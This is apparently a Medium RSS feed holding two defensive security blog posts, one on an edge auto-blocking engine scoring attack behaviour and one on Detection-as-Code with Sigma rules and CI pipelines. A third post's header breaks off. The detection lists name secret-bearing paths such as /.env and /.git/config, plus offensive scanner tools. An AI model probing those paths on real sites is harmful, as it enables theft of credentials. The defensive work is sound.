<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Joseph Olanrewaju on Medium]]></title>
        <description><![CDATA[Stories by Joseph Olanrewaju on Medium]]></description>
        <link>https://medium.com/@ojosephoyeyemi?source=rss-91ab9a46e86a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*JO_V0gfKkn-_SwDnaFUPoQ.png</url>
            <title>Stories by Joseph Olanrewaju on Medium</title>
            <link>https://medium.com/@ojosephoyeyemi?source=rss-91ab9a46e86a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 08:57:37 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ojosephoyeyemi/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[When Attackers Hack at AI Speed, Manual SOC Playbooks Are Already Dead]]></title>
            <link>https://ojosephoyeyemi.medium.com/when-attackers-hack-at-ai-speed-manual-soc-playbooks-are-already-dead-377b99187fa7?source=rss-91ab9a46e86a------2</link>
            <guid isPermaLink="false">https://medium.com/p/377b99187fa7</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[ai]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[incident-response]]></category>
            <dc:creator><![CDATA[Joseph Olanrewaju]]></dc:creator>
            <pubDate>Sun, 15 Nov 2026 16:43:46 GMT</pubDate>
            <atom:updated>2026-11-15T23:01:08.523Z</atom:updated>
            <content:encoded><![CDATA[<h4>Building a TTP-driven auto-blocking engine on Cloudflare Workers to stop autonomous reconnaissance-to-exploitation chains in seconds.</h4><p>Modern web attacks rarely start with a noisy DDoS flood or a clumsy brute-force script hammering a login page for six hours.</p><p>Today, they start with a surgical, multi-stage sequence executed in seconds.</p><p>First, a single GET request probes for a misconfigured framework or diagnostic endpoint.</p><p>Milliseconds later, an automated parser checks the response for exposed secrets or metadata.</p><p>Seconds after that, the actor isn’t guessing routes—they are already querying API documentation schemas, mapping endpoints and object identifiers, and firing high-velocity Broken Object Level Authorization (BOLA/IDOR) requests across sequential IDs.</p><p>By the time a traditional SIEM alert correlates the logs, queues a ticket, pages an on-call analyst, and waits for a human to open a laptop, verify the IP, and push a firewall rule, the entire kill chain is already over.</p><p>Watching how fast modern, AI-assisted offensive tooling operates makes one thing clear: when autonomous agents scan for the slightest configuration gap and chain exploits in seconds, reactive manual blocking is obsolete.</p><h3>The Death of Reactive, Manual Blocking</h3><p>For years, the standard SecOps loop looked like this:</p><ol><li>Ingest: Logs ship from the edge to a SIEM.</li><li>Detect: A scheduled detection rule runs every 15–30 minutes.</li><li>Triage: An analyst investigates the source IP and checks for false positives.</li><li>Respond: The analyst manually adds the IP to a WAF blocklist.</li></ol><p>In an era of manual penetration testing, a 30-to-60-minute Mean Time to Contain (MTTC) was acceptable.</p><p>In an era of AI-assisted offensive automation, 30 minutes is an eternity.</p><p>Today’s threat actors don’t manually browse /path or hand-craft Python scripts for every target. They use autonomous offensive frameworks and tools like antifox, artex, CyberStrikeAI, PentAGI, HexStrike AI, that continuously sweep the internet for micro-exposures—a debug route briefly exposed, a backup .env file, an unprotected endpoint and immediately chain those findings into automated exploitation.</p><p>And when you manually block a single IP hours later? The actor has already rotated through dozens of cloud and proxy exit nodes.</p><p>If attackers are chaining Tactics, Techniques, and Procedures (TTPs) at machine speed, defense cannot rely on humans copying and pasting IP addresses into a dashboard. Prevention has to scale at the network edge, and it has to trigger on adversary behavior—not static indicators.</p><h3>The Goal: A Serverless Edge SOAR That Hunts Behavior, Not Just IPs</h3><p>I set out to build an automated detection-and-response engine directly inside Cloudflare that could protect multiple domains simultaneously—without adding a single millisecond of inline latency to legitimate user traffic.</p><p>Instead of running an inline Worker on every single HTTP request (which increases compute cost at scale and introduces inline failure risk), I architected an out-of-band, serverless edge SOAR pipeline using four native Cloudflare primitives:</p><ol><li>Cloudflare Workers (Cron Triggers): Runs on a recurring schedule (*/5 * * * *) to evaluate edge telemetry across all monitored zones.</li><li>Cloudflare GraphQL Analytics API (httpRequestsAdaptive): Queries structured HTTP metadata (paths, edge status codes, origin response codes, content types, ASNs, and user agents) across zones in a single pass.</li><li>Workers KV (SECURITY_KV): Maintains stateful memory of suspect IPs, cumulative TTP scores, historical hits, and auto-block audit records.</li><li>Cloudflare Account Custom Lists ($edge_ttp_blocklist): An account-wide IP list referenced by a single edge WAF rule (ip.src in $edge_ttp_blocklist -&gt; Block). The moment the Worker appends an IP to this list, that actor is blocked across every domain in the account globally.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/653/1*-dnUUHpQefP9FLASxT0nDg.png" /></figure><h3>Designing the TTP Scoring Engine: How to Catch an AI Attacker</h3><p>Traditional volumetric rate limits fail against smart automation because a targeted reconnaissance sequence—say, 6 requests over 3 minutes—will never trip a threshold of 1,000 requests per minute.</p><p>On the flip side, naive rules that blindly block anyone who triggers a 404 or 401 can easily lock out legitimate users or flood the SOC with false positives.</p><p>To solve this, I designed a weighted TTP scoring engine that evaluates what an IP is attempting across the attack lifecycle:</p><ul><li>Framework &amp; Diagnostic Probing (+60 per hit, +100 instant block on Origin 200 OK): Probing framework internals such as /actuator/env, /actuator/heapdump, or debug consoles.</li><li>Environment &amp; Secret Harvesting (+50 per hit, +100 instant block on Origin 200 OK): Probing for /.env, /.git/config, backup archives, or cloud credential files.</li><li>API Schema Reconnaissance (+35 per hit, +80 on Origin 200 OK): Enumerating /v3/api-docs, /swagger-ui/index.html, or /openapi.json to map endpoints for automated exploitation.</li><li>High-Velocity BOLA / IDOR Enumeration (+75 per burst): Rapid sequential requests iterating across resource identifiers (/api/v1/resource/*).</li><li>Authentication &amp; Token Fuzzing (+50): High-volume 401/403 spikes against authentication or session endpoints.</li><li>Offensive Scanner Fingerprints (+80): Known offensive automation signatures (nuclei, sqlmap, ffuf, dirbuster, zgrab).</li></ul><p>When an IP’s cumulative score crosses 100 (including a bonus when an actor combines multiple distinct TTP families in a single window), the Worker automatically promotes it to the containment pipeline.</p><p>That means:</p><ul><li>If an IP probes a framework diagnostic path and an OpenAPI documentation route in the same window, it is automatically quarantined—even if the origin server returned 403 or 404.</li><li>If a misconfiguration ever occurs and an origin server actually returns 200 OK on a sensitive diagnostic or .env path, the score immediately reaches 100, blocking the IP at the edge before the actor can pivot.</li></ul><h3>The Hardest Engineering Lesson: Defeating the “SPA 200 OK” Mirage</h3><p>One of the most interesting engineering challenges surfaced when testing detection rules against modern web frontends.</p><p>At first glance, standard edge logs can make it look like Single-Page Applications (SPAs) are returning 200 OK to scanner requests for /.env or /actuator/env.</p><p>Why? Because Single-Page Application catch-all routing (in React, Vue, or Angular apps hosted behind static storage or Nginx) is designed to route any unknown URL path back to /index.html with an HTTP 200 OK so client-side routing can render the page. When an internet scanner requests GET /.env on a frontend host, the server returns 200 OK—along with the text/html body of index.html.</p><p>If a detection rule only checks path == “/.env” and status == 200, your SOC will drown in false-positive “critical leak” alerts every time a scanner touches a frontend domain.</p><p>To eliminate this noise, I built Origin &amp; Content-Type Verification into the telemetry pipeline:</p><ol><li>Verify the Response Content-Type: A genuine .env file or diagnostic payload returns text/plain or application/json, never text/html serving an SPA shell.</li><li>Correlate Edge vs. Origin Status (edgeResponseStatus vs. originResponseStatus): Distinguish between cached static SPA fallbacks and real backend origin responses.</li><li>Behavioral Context on Auth Failures: Volume alone doesn’t always equal malice. For example, a B2B partner server running a misconfigured background cron job with an expired staging key at the top of every minute alongside legitimate production API traffic looks very different in HTTP telemetry (consistent SDK User-Agent, fixed cron cadence, and valid downstream business calls) than an external credential-stuffing attack. Inspecting cadence and client context prevents automated defenses from breaking legitimate integrations.</li></ol><p>Good security automation isn’t just about blocking faster—it’s about having the telemetry depth to know what not to block.</p><h3>Safe Rollout: Dry-Run Mode, Allowlists, and SOC Visibility</h3><p>Auto-blocking in production requires strict guardrails so automated tooling never locks out internal security testing, partner integrations, or corporate egress IPs.</p><p>To make the Worker safe for production from day one, I included three operational controls:</p><ol><li>First-Class Allowlisting: Authorized pentest IPs, corporate egress ranges, and verified partner CIDRs are evaluated before any scoring occurs.</li><li>DRY_RUN Observation Mode: A feature flag allows the Worker to execute the full GraphQL correlation, compute TTP scores, log evidence to KV, and send [DRY-RUN] alerts to the team—without mutating the live WAF blocklist until detection thresholds are validated.</li><li>Rich ChatOps Context: Every containment alert includes the source IP, ASN/geolocation, exact TTP score breakdown, sample request paths, and confirmation of whether the IP was auto-quarantined at the edge.</li></ol><h3>What Changed After Building This</h3><p>Moving from reactive log review to a TTP-driven Cloudflare Worker transformed our edge posture:</p><ul><li>Containment in under 5 minutes, 24/7/365: Threats are contained automatically.</li><li>Cross-domain immunity: When an attacker probes a single subdomain, they are automatically blocked across every domain in the Cloudflare account.</li><li>Zero inline latency: Because correlation runs out-of-band via Cloudflare’s GraphQL API and enforcement uses native Cloudflare Custom Lists, legitimate traffic experiences zero added latency.</li></ul><h3>Final Takeaway</h3><p>Attackers are already using AI and autonomous frameworks to compress reconnaissance, vulnerability discovery, and exploitation from days into seconds.</p><p>If our defense strategy still relies on humans reading logs and manually adding firewall rules after the fact, we are bringing a clipboard to a machine-speed fight. Moving TTP-based detection and automated containment directly to the network edge isn’t just a nice-to-have optimization anymore, it’s how we scale defense to match modern offense.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=377b99187fa7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Your Detection Rules Suck (And It’s Not Your Fault): A Story of Detection-as-Code]]></title>
            <link>https://ojosephoyeyemi.medium.com/your-detection-rules-suck-and-its-not-your-fault-a-story-of-detection-as-code-3addf667aa50?source=rss-91ab9a46e86a------2</link>
            <guid isPermaLink="false">https://medium.com/p/3addf667aa50</guid>
            <category><![CDATA[ci-cd-pipeline]]></category>
            <category><![CDATA[security-engineering]]></category>
            <category><![CDATA[detection-as-code]]></category>
            <category><![CDATA[detection-engineering]]></category>
            <category><![CDATA[agentic-soc]]></category>
            <dc:creator><![CDATA[Joseph Olanrewaju]]></dc:creator>
            <pubDate>Fri, 09 Oct 2026 06:50:16 GMT</pubDate>
            <atom:updated>2026-10-09T07:05:09.468Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*wdrSvRz67kSWRECY.jpg" /></figure><p><em>How security teams repeated every mistake software engineering made over fifty years, and how to stop doing it on any SIEM.</em></p><p>It’s Friday, 4:57pm. You’re about to close your laptop. Then Slack pings.</p><p>Several detection rules are broken and firing on everything. False positives everywhere. Your entire SOC is drowning in alerts.</p><p>Now what?</p><p>You open your SIEM’s console. Find the rules. Try to remember what the original logic was supposed to do cause you only really test a few. Make a guess to fix each rules cause its overwhelming. Click update for each rules (a pain in the neck). Pray. At 11pm you realise the fix made things worse.</p><p>Reason: Nobody knows what exactly changes. Nobody knows who &amp; why it was changed. You can’t roll back. You have to disable the rule cause its going to take alot of time to fix. You’re debugging in production at midnight, guessing and hoping.</p><p>Meanwhile, the software engineering team on the same floor writes code, commits to Git, gets a peer review, runs automated tests, deploys through a pipeline, and if something breaks, rolls back in minutes. No drama. No war room.</p><p>Real talk: we have been running detection engineering like cavemen throwing spears. Everyone else in tech figured this out years ago. This story is about how they did it, the pain that forced them to, and what happens when security finally steals their homework.</p><h3>Chapter 1: The Waterfall Years</h3><p>To understand why your detections hurt, you need to understand why software hurt first.</p><p>In 1970, Winston Royce published a paper in the proceedings of IEEE WESCON called <em>Managing the Development of Large Software Systems</em>. It drew a tidy diagram: requirements, design, implementation, verification, maintenance. Each phase flowed into the next, like water down a staircase.</p><p>Here is the twist most people miss. Royce was not selling that model. He was warning against it. He called the implementation “risky and invites failure”, because the first time you truly test anything is near the end, when changing course costs the most. The rest of his paper proposes extra steps to reduce that risk. The word “waterfall” does not even appear in it. It was attached to the staged model later, with a 1976 paper by Bell and Thayer often cited as the earliest use.</p><p>Industry kept the staircase and skipped the warning.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xvE4A5hHVM0sORk4LkfXog.png" /></figure><p>For decades, teams spent months writing specs, months writing code, and then shipped it all in one terrifying release. Bugs found in testing were bugs found too late. Customers received software that answered a question they had asked eighteen months earlier.</p><p>Sound familiar? Here is waterfall in security:</p><ul><li>A compliance requirement lands. Someone writes a “use case document.”</li><li>Three months later, a detection is built in the SIEM console.</li><li>It goes live. Nobody tuned it. Nobody tested it against real data.</li><li>It floods the queue. Analysts mute it. It rots there for two years as a “detection.”</li></ul><p>That is not engineering. That is paperwork with a query attached.</p><h3>Chapter 2: Agile Burns the Staircase Down</h3><p>By the late 1990s, developers had had enough of long plans that were obsolete on arrival. In February 2001, seventeen of them met at the Snowbird ski resort in Utah and wrote the <strong>Agile Manifesto</strong>. Its core values: individuals and interactions over processes and tools, working software over comprehensive documentation, customer collaboration over contract negotiation, responding to change over following a plan.</p><p>Small batches. Short feedback loops. Ship, learn, fix, repeat.</p><p>It worked, and then it hit a wall. Developers were finishing work every couple of weeks, but operations still deployed like it was 1995. Code sailed through sprints and then sat in a queue waiting for someone to release it by hand. In June 2009, at the Velocity conference, John Allspaw and Paul Hammond from Flickr gave a talk titled “10+ Deploys Per Day: Dev and Ops Cooperation at Flickr.” Watching remotely and wishing he was there, Patrick Debois organised his own event in Ghent that October and called it DevOpsDays. The hashtag got shortened, and <strong>DevOps</strong> had a name.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pguoJRjVtwbUTfziT6SbYg.png" /></figure><p>The ingredients that made it work are boring and powerful:</p><ol><li><strong>Version control.</strong> Git (2005) made every change a recorded, reviewable, reversible event.</li><li><strong>Code review.</strong> A second pair of eyes before anything reaches production.</li><li><strong>Automated tests.</strong> Machines check the work faster and more honestly than humans.</li><li><strong>CI/CD.</strong> A pipeline ships every change the same way, every time.</li></ol><p>Notice what is <em>not</em> on that list: a console where one person edits production logic and hopes for the best.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2OkMlNzrd-wJq9pJVb74Gg.png" /></figure><p>Chapter 3: Security Missed the Memo</p><p>Security, historically, sat at the end of the waterfall. We were the gate. We said no. And when we finally built our own tooling, the SIEM, we built it as a <strong>GUI-first product</strong>. Click to create a rule. Click to edit. Click to disable.</p><p>The result is a generation of detection libraries with every classic code smell:</p><ul><li><strong>No version history.</strong> “Who changed this threshold from 5 to 50?” Silence.</li><li><strong>No review.</strong> One tired analyst, one click, straight to production.</li><li><strong>No tests.</strong> The only test environment is your live alert queue.</li><li><strong>No portability.</strong> Your logic is trapped inside one vendor’s query language.</li><li><strong>No documentation.</strong> The only spec is a rule name like Suspicious_Activity_v2_FINAL_new.</li></ul><p>Let’s say it plainly, with love: your detection code sucks. Not because you are bad at this, but because nobody gave you the tools to be good at it. A detection rule is a program. It takes input, applies logic, and produces output that people act on. It deserves everything a program gets.</p><h3>Chapter 4: The Idea, Detection-as-Code</h3><p><strong>Detection-as-Code (DaC)</strong> is the simple, slightly obvious idea that detection logic should be written, stored, reviewed, tested and deployed exactly like software.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/0*AT9bWEyWKOoy_lTl.png" /></figure><p>The rule lives as a text file in a Git repository. The SIEM stops being where you <em>author</em> detections. It becomes where you <em>run</em> them.</p><p>What you get in return:</p><ul><li><strong>History and audit.</strong> Every change has an author, a date and a reason. When an auditor or an incident asks “what did this rule look like on the 3rd?”, the answer is one command away.</li><li><strong>Peer review.</strong> Pull requests catch the dumb mistakes before analysts do.</li><li><strong>Testing.</strong> Rules are checked against sample logs before they ship.</li><li><strong>Rollback.</strong> Bad rule? Revert the commit. No war room.</li><li><strong>Scale.</strong> And this is the one that changes your life. More on it next.</li></ul><h3>Chapter 5: The Real Superpower Is Scale</h3><p>Version history and audit trails are the benefits everyone quotes. The benefit that wins over a busy team is simpler: you can change fifty things as easily as you change one.</p><p>Here is a story that happens in every SOC. Your team has about fifty detections written against a Cloudflare log source. Then the data changes. Maybe the integration is reworked, maybe you move from general HTTP request logs to Cloudflare WAF (firewall) events. Either way, the log source name or schema your rules point at is no longer the right one. Every one of those fifty rules now needs updating, or it quietly stops working. The scariest part is the word “quietly”. A rule that no longer matches anything does not page you. It just stops protecting you.</p><p>In a console-driven world, you open rule 1, edit the log source, save, check it, then repeat. Fifty times. It is slow, it is boring, and boring work is where typos live. There is no diff to review and no record of what you touched.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ruImD0BHbdATT3t5cOhrUw.png" /></figure><p>In a Detection-as-Code world, the log source is just a line in a text file. You fix it with a script, locally, before you commit. Here is the entire tool (the log source names are illustrative; use whatever your integration actually emits):</p><pre>#!/usr/bin/env python3<br>&quot;&quot;&quot;Rewrite one logsource field across every Sigma rule that matches.&quot;&quot;&quot;<br>import re, sys, pathlib</pre><pre>root, field, old, new = sys.argv[1:5]<br>pattern = re.compile(rf&quot;^(\s+{field}:\s*){re.escape(old)}[ \t]*$&quot;, re.M)</pre><pre>changed = 0<br>for f in sorted(pathlib.Path(root).rglob(&quot;*.yml&quot;)):<br>    text = f.read_text()<br>    block = re.search(r&quot;^logsource:\n((?:[ \t]+.*\n)+)&quot;, text, re.M)  # logsource block only<br>    if block and pattern.search(block.group(1)):<br>        new_block = pattern.sub(rf&quot;\g&lt;1&gt;{new}&quot;, block.group(1))<br>        f.write_text(text.replace(block.group(1), new_block))<br>        changed += 1<br>print(f&quot;changed {changed} rule(s)&quot;)</pre><p>Run it:</p><pre>python scripts/migrate_logsource.py rules/cloudflare service http_requests firewall_events<br># changed 50 rule(s)</pre><pre>git diff --stat      # review exactly what changed<br>git checkout -b fix/cloudflare-waf-logsource<br>git commit -am &quot;Migrate Cloudflare rules to firewall_events log source&quot;</pre><p>That took a fraction of a second on fifty files. It only touches the logsource block, so it cannot accidentally rewrite a detection value or a description. It is safe to run twice, because the second run finds nothing left to change. And the pull request that follows shows a reviewer one changed line per file, so nothing slips through.</p><p>Sometimes the rule itself is still correct and only the mapping to your SIEM has changed, for example when a field is renamed in your ingestion pipeline. Then you do not even touch the rules. With Sigma, you fix it once in a processing pipeline file, and every rule that uses it is converted correctly on the next run:</p><pre>name: Cloudflare WAF to Splunk<br>priority: 20<br>transformations:<br>  - id: cloudflare_waf_source<br>    type: add_condition<br>    conditions:<br>      sourcetype: cloudflare:waf<br>    rule_conditions:<br>      - type: logsource<br>        product: cloudflare<br>        service: firewall_events<br>  - id: cloudflare_waf_fields<br>    type: field_name_mapping<br>    mapping:<br>      ClientRequestPath: ClientRequestURI<br>    rule_conditions:<br>      - type: logsource<br>        product: cloudflare<br>        service: firewall_events</pre><pre>sigma convert -t splunk -p pipelines/cloudflare_splunk.yml rules/cloudflare/</pre><p>One file edited, fifty rules fixed, for every target SIEM you support. This is the same idea behind every refactoring tool, every linter and every codemod your software colleagues use. We just never thought detections were allowed to have them.</p><p>The same trick covers the chores nobody wants: renaming a tag across the whole library, adding a new required metadata field, bumping a severity policy, retiring a deprecated field. Anything you can describe, you can apply to the whole library in one reviewed commit.</p><h3>Chapter 6: Setting It Up on Any SIEM</h3><p>Now the practical part. These fundamentals work whether you run Splunk, Microsoft Sentinel, Elastic, QRadar, Chronicle or Wazuh. The tool changes. The pipeline does not.</p><h3>Step 1: Pick a vendor-neutral rule format</h3><p>Write rules in a format that is not tied to one SIEM. The most widely used is <strong>Sigma</strong>, an open, generic signature format for log events created by Florian Roth and Thomas Patzke, with first public releases in 2017. The project describes it as being for log files what Snort is for network traffic and YARA is for files. A Sigma rule is just YAML:</p><pre>title: Suspicious PowerShell Encoded Command<br>id: 5b3c2a1e-7d44-4c0a-9f2b-1a2b3c4d5e6f<br>status: experimental<br>description: Detects PowerShell launched with an encoded command<br>author: Your Name<br>date: 2026-10-09<br>tags:<br>    - attack.execution<br>    - attack.t1059.001<br>logsource:<br>    category: process_creation<br>    product: windows<br>detection:<br>    selection:<br>        Image|endswith: &#39;\powershell.exe&#39;<br>        CommandLine|contains:<br>            - &#39; -enc &#39;<br>            - &#39; -EncodedCommand &#39;<br>    condition: selection<br>falsepositives:<br>    - Legitimate admin scripts<br>level: medium</pre><p>The same file converts into each SIEM’s native language with the open-source sigma-cli. These are the exact commands and the output I got:</p><pre># Splunk<br>sigma convert -t splunk -p splunk_windows rules/windows/<br>Image=&quot;*\\powershell.exe&quot; CommandLine IN (&quot;* -enc *&quot;, &quot;* -EncodedCommand *&quot;)</pre><pre># Microsoft Defender XDR / Sentinel (KQL)<br>sigma convert -t kusto -p microsoft_xdr rules/windows/<br>DeviceProcessEvents<br>| where FolderPath endswith &quot;\\powershell.exe&quot; and (ProcessCommandLine contains &quot; -enc &quot; or ProcessCommandLine contains &quot; -EncodedCommand &quot;)</pre><pre># Elastic (Lucene)<br>sigma convert -t lucene -p ecs_windows rules/windows/<br>process.executable:*\\powershell.exe AND (process.command_line:(*\ \-enc\ * OR *\ \-EncodedCommand\ *))</pre><p>Install the backends you need (for example pip install sigma-cli pySigma-backend-splunk pySigma-backend-kusto pySigma-backend-elasticsearch pySigma-validators-sigmahq) and run sigma list pipelines to see what your install supports. If you would rather write native queries (SPL, KQL, ES|QL), that works too. Store them as files with a metadata header. The point is that the <em>file</em> is the source of truth.</p><h3>Step 2: Build the repository</h3><p>Keep the structure boring and predictable:</p><pre>detections/<br>├── rules/<br>│   ├── windows/<br>│   ├── linux/<br>│   └── cloudflare/<br>├── tests/<br>│   └── samples/          # events that should and should not alert<br>├── pipelines/            # field mappings, one per SIEM<br>├── scripts/              # migrations, deploy and validation helpers<br>├── .pre-commit-config.yaml<br>└── .github/workflows/    # CI</pre><p>Every rule carries the same metadata: a unique ID, an owner, a severity, a MITRE ATT&amp;CK mapping, known false positives, and the reason it exists. If a stranger cannot understand a rule in one minute, the rule is not done.</p><h3>Step 3: Enforce review</h3><p>Protect the main branch. No direct pushes. Every change arrives as a pull request and needs an approval from someone who did not write it. Add a CODEOWNERS file so the right people review the right rules. Give reviewers three questions: What attacker behaviour does this catch? What legitimate activity will it flag? Who owns it when it breaks?</p><h3>Step 4: Shift left with a layered pipeline</h3><p>“Shift left” means catching problems as early, and as cheaply, as possible. The cheapest place to find a bad rule is on the analyst’s laptop before it is ever committed. The most expensive is the SOC queue at 11pm. So build the pipeline in layers, where each stage catches what the previous one cannot:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VidF7-VNCFmaHUJiesnvVw.png" /></figure><p><strong>Stage 1: Local, before you commit.</strong> Use the pre-commit framework so the checks run on your laptop in seconds:</p><pre>repos:<br>  - repo: https://github.com/adrienverge/yamllint<br>    rev: v1.35.1            # pin to a current release<br>    hooks:<br>      - id: yamllint<br>        args: [-d, relaxed]<br>  - repo: https://github.com/gitleaks/gitleaks<br>    rev: v8.18.4            # pin to a current release<br>    hooks:<br>      - id: gitleaks<br>  - repo: local<br>    hooks:<br>      - id: sigma-check<br>        name: sigma check<br>        entry: sigma check --fail-on-issues rules/<br>        language: system<br>        pass_filenames: false</pre><p>sigma check runs the SigmaHQ validators and returns a non-zero exit code on issues when you pass --fail-on-issues, which is what makes it a gate. It caught real problems in my own test rules: a MITRE URL where an attack.tXXXX tag belongs, a status too high for a new rule, and an unknown log source for the custom Cloudflare rules. If you use custom log sources, tune the validation config or exclude that validator with --exclude so the gate stays meaningful instead of noisy.</p><p>This is also where your auto-fixers live. Run the migration script from Chapter 5 here, before the commit, and the diff your reviewer sees is already clean.</p><p><strong>Stage 2: Pull request, in CI.</strong> Anything that slips past a laptop meets a stricter, shared check. A minimal GitHub Actions workflow:</p><pre>name: detection-ci<br>on: [pull_request]<br>jobs:<br>  validate:<br>    runs-on: ubuntu-latest<br>    steps:<br>      - uses: actions/checkout@v4<br>      - uses: actions/setup-python@v5<br>        with: { python-version: &quot;3.12&quot; }<br>      - run: pip install sigma-cli pySigma-backend-splunk pySigma-backend-kusto pySigma-backend-elasticsearch pySigma-validators-sigmahq<br>      - run: sigma check --fail-on-issues rules/<br>      - name: Every rule must convert for every SIEM we support<br>        run: |<br>          sigma convert -t splunk -p splunk_windows rules/windows/ &gt; /dev/null<br>          sigma convert -t kusto  -p microsoft_xdr  rules/windows/ &gt; /dev/null<br>          sigma convert -t lucene -p ecs_windows    rules/windows/ &gt; /dev/null</pre><p>Then add the checks that make a detection <em>good</em>, not merely valid:</p><ul><li><strong>Unit tests with sample events.</strong> For each rule, keep one event that must fire it and one that must stay quiet. Replay them against a local matcher or a staging SIEM index. For Windows event logs, tools like Chainsaw can run Sigma rules directly against EVTX files.</li><li><strong>Policy checks.</strong> Unique IDs, naming convention, required fields, valid ATT&amp;CK tags, an owner for every rule.</li><li><strong>ATT&amp;CK coverage diff.</strong> Show what the pull request adds to or removes from your coverage.</li><li><strong>Query cost lint.</strong> Flag leading wildcards and unbounded searches that will hammer the SIEM.</li><li><strong>Human review.</strong> CODEOWNERS approval and a linked ticket explaining why the rule exists.</li></ul><p><strong>Stage 3: Staging, after merge.</strong> Deploy to a non-production SIEM through the same API path you will use in production. Then ask the harder questions. Backtest the rule against seven to thirty days of benign logs and fail the build if it exceeds a false-positive budget. Run an attack simulation with Atomic Red Team, an open-source library of small tests mapped to MITRE ATT&amp;CK, and require that the rule actually fires. Keep new rules in shadow mode, alerting a test channel instead of the SOC queue, until they have earned trust.</p><p><strong>Stage 4: Production.</strong> The pipeline deploys using a service account and the SIEM’s API: Splunk’s REST API for saved searches, Sentinel’s analytics rules API, Elastic’s Detection Engine API. It creates or updates rules by their unique ID, so it is safe to run repeatedly. It also detects drift. If someone edits a rule in the console, the next run flags or reverts it. If a rule is not in Git, it should not exist in production. Post a changelog to Slack so the SOC knows what shipped.</p><p><strong>Stage 5: Operate.</strong> Detection code in production needs observability like any other code. Track alert volume and false-positive rate per rule, rules that have never fired (suspicious, or untested), and rules with no owner. Schedule your attack simulations to run regularly, because a rule that passed last quarter can silently break when a log format changes. Add an alert-storm breaker that disables or reverts a rule that suddenly floods the queue. Every finding becomes a pull request, which closes the loop.</p><h3>Where to start</h3><p>You do not need all five stages on day one. A sensible order is: Git and pull requests first, then sigma check and conversion in CI, then sample-event tests, then staging backtests, and finally scheduled attack simulations. Each layer pays for itself.</p><h3>Chapter 7: What Changes at 4:57pm on Friday</h3><p>Go back to the beginning. A rule is firing on everything.</p><p>This time you open the repo. git log tells you who wrote the rule, when, and why. git blame shows the exact line that changed on Tuesday. You revert the commit, the pipeline redeploys the previous version, and the alert storm stops.</p><p>Better still, the rule never reached production in that state. The pull request had a test with a benign sample, and the staging backtest would have flagged the false-positive spike before anyone in the SOC saw it.</p><p>You are not a better analyst on that Friday. You just stopped being a cave dweller.</p><h3>Start Small</h3><p>You do not need to migrate eight hundred rules this quarter. Pick five. Put them in a repo. Require a review. Add one test. Deploy one through a pipeline. Then do five more. When the next log source changes, you will be glad you did.</p><p>Software spent fifty years learning these lessons the hard way, from waterfall’s late-stage surprises to agile’s missing deploy button. Security gets to skip most of the pain, if we are willing to admit our code sucks and start fixing it like engineers do.</p><h3>References</h3><ul><li>Royce, W. W. (1970). Managing the Development of Large Software Systems. Proceedings of IEEE WESCON.</li><li>Bell, T. E. and Thayer, T. A. (1976). Software Requirements: Are They Really a Problem? Proceedings of the 2nd International Conference on Software Engineering.</li><li>Agile Manifesto and its history: agilemanifesto.org/history</li><li>Allspaw, J. and Hammond, P. (2009). 10+ Deploys Per Day: Dev and Ops Cooperation at Flickr. O’Reilly Velocity Conference.</li><li>Sigma project and specification: github.com/SigmaHQ</li><li>sigma-cli and pySigma documentation: sigmahq-pysigma.readthedocs.io</li><li>Atomic Red Team, Red Canary: atomicredteam.io</li><li>Chainsaw, WithSecure Labs: github.com/WithSecureLabs/chainsaw</li></ul><p><em>If this was useful, follow for more on detection engineering, SOC automation and security that actually ships.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3addf667aa50" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Building an AI SOC Analyst That Knows When Not to Act]]></title>
            <link>https://ojosephoyeyemi.medium.com/building-an-ai-soc-analyst-that-knows-when-not-to-act-334db07676bd?source=rss-91ab9a46e86a------2</link>
            <guid isPermaLink="false">https://medium.com/p/334db07676bd</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[llm]]></category>
            <category><![CDATA[agentic-ai]]></category>
            <category><![CDATA[engineering]]></category>
            <dc:creator><![CDATA[Joseph Olanrewaju]]></dc:creator>
            <pubDate>Thu, 01 Oct 2026 14:23:28 GMT</pubDate>
            <atom:updated>2026-11-06T04:13:08.846Z</atom:updated>
